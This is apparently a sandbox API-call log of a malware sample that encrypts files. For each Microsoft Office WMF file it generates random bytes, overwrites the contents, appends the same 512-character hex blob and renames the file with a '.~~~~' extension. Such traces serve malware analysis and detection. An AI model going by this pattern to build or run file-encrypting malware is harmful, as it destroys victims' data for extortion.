	[0126.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb618 | out: hHeap=0x300000) returned 1
	[0126.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0126.011] GetLastError () returned 0x0
	[0126.012] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.013] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.013] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0126.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0126.014] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24600384370) returned 1
	[0126.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb492c670, dwHighDateTime=0x1d60e1e)) 
	[0126.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0126.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0126.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0126.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28215f8
	[0126.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28215f8 | out: hHeap=0x300000) returned 1
	[0126.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba8f8
	[0126.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba8f8 | out: hHeap=0x300000) returned 1
	[0126.015] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.015] GetLastError () returned 0x0
	[0126.015] GetLastError () returned 0x0
	[0126.015] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.015] GetLastError () returned 0x0
	[0126.015] GetLastError () returned 0x0
	[0126.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff7ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.017] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x814, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x814, lpOverlapped=0x0) returned 1
	[0126.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.019] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.019] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.019] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.020] CloseHandle (hObject=0x130) returned 1
	[0126.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba8f8
	[0126.020] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf.~~~~")) returned 1
	[0126.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba8f8 | out: hHeap=0x300000) returned 1
	[0126.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0126.021] GetLastError () returned 0x0
	[0126.026] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.028] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.028] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0126.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0126.028] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24601817757) returned 1
	[0126.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb49527d0, dwHighDateTime=0x1d60e1e)) 
	[0126.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0126.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0126.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0126.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a3ec28
	[0126.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a3ec28 | out: hHeap=0x300000) returned 1
	[0126.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3afe30
	[0126.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba8f8
	[0126.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3afe30 | out: hHeap=0x300000) returned 1
	[0126.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba8f8 | out: hHeap=0x300000) returned 1
	[0126.029] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.029] GetLastError () returned 0x0
	[0126.029] GetLastError () returned 0x0
	[0126.029] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.030] GetLastError () returned 0x0
	[0126.030] GetLastError () returned 0x0
	[0126.032] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff726, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.032] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x8da, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x8da, lpOverlapped=0x0) returned 1
	[0126.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.034] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.034] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.034] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.034] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.034] CloseHandle (hObject=0x120) returned 1
	[0126.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba8f8
	[0126.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf.~~~~")) returned 1
	[0126.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba8f8 | out: hHeap=0x300000) returned 1
	[0126.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0126.036] GetLastError () returned 0x0
	[0126.036] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.038] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.038] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0126.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0126.038] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24602793828) returned 1
	[0126.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb49527d0, dwHighDateTime=0x1d60e1e)) 
	[0126.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0126.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0126.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0126.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821668
	[0126.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821668 | out: hHeap=0x300000) returned 1
	[0126.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3afe30
	[0126.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baaf0
	[0126.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3afe30 | out: hHeap=0x300000) returned 1
	[0126.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0126.039] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.039] GetLastError () returned 0x0
	[0126.039] GetLastError () returned 0x0
	[0126.039] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.039] GetLastError () returned 0x0
	[0126.039] GetLastError () returned 0x0
	[0126.042] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff726, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.042] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x8da, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x8da, lpOverlapped=0x0) returned 1
	[0126.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.044] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.044] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.044] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.044] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.044] CloseHandle (hObject=0x120) returned 1
	[0126.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baaf0
	[0126.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf.~~~~")) returned 1
	[0126.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0126.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0126.046] GetLastError () returned 0x0
	[0126.047] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.048] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.048] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0126.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0126.049] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24603873146) returned 1
	[0126.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb4978930, dwHighDateTime=0x1d60e1e)) 
	[0126.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0126.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0126.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0126.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28216a0
	[0126.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28216a0 | out: hHeap=0x300000) returned 1
	[0126.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3afe30
	[0126.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baf88
	[0126.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3afe30 | out: hHeap=0x300000) returned 1
	[0126.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baf88 | out: hHeap=0x300000) returned 1
	[0126.050] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.050] GetLastError () returned 0x0
	[0126.050] GetLastError () returned 0x0
	[0126.050] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.050] GetLastError () returned 0x0
	[0126.050] GetLastError () returned 0x0
	[0126.052] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff044, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.053] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xfbc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xfbc, lpOverlapped=0x0) returned 1
	[0126.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.055] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.055] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.055] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.055] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.055] CloseHandle (hObject=0x120) returned 1
	[0126.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baf88
	[0126.056] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf.~~~~")) returned 1
	[0126.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baf88 | out: hHeap=0x300000) returned 1
	[0126.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0126.057] GetLastError () returned 0x0
	[0126.057] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.058] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.059] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0126.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0126.059] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24604898348) returned 1
	[0126.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb499ea90, dwHighDateTime=0x1d60e1e)) 
	[0126.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0126.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0126.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0126.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28216d8
	[0126.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28216d8 | out: hHeap=0x300000) returned 1
	[0126.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3afe30
	[0126.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb2d0
	[0126.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3afe30 | out: hHeap=0x300000) returned 1
	[0126.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb2d0 | out: hHeap=0x300000) returned 1
	[0126.060] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.060] GetLastError () returned 0x0
	[0126.060] GetLastError () returned 0x0
	[0126.060] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.060] GetLastError () returned 0x0
	[0126.060] GetLastError () returned 0x0
	[0126.159] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe4d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.165] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1b28, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1b28, lpOverlapped=0x0) returned 1
	[0126.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.166] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.166] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.167] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.167] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.167] CloseHandle (hObject=0x120) returned 1
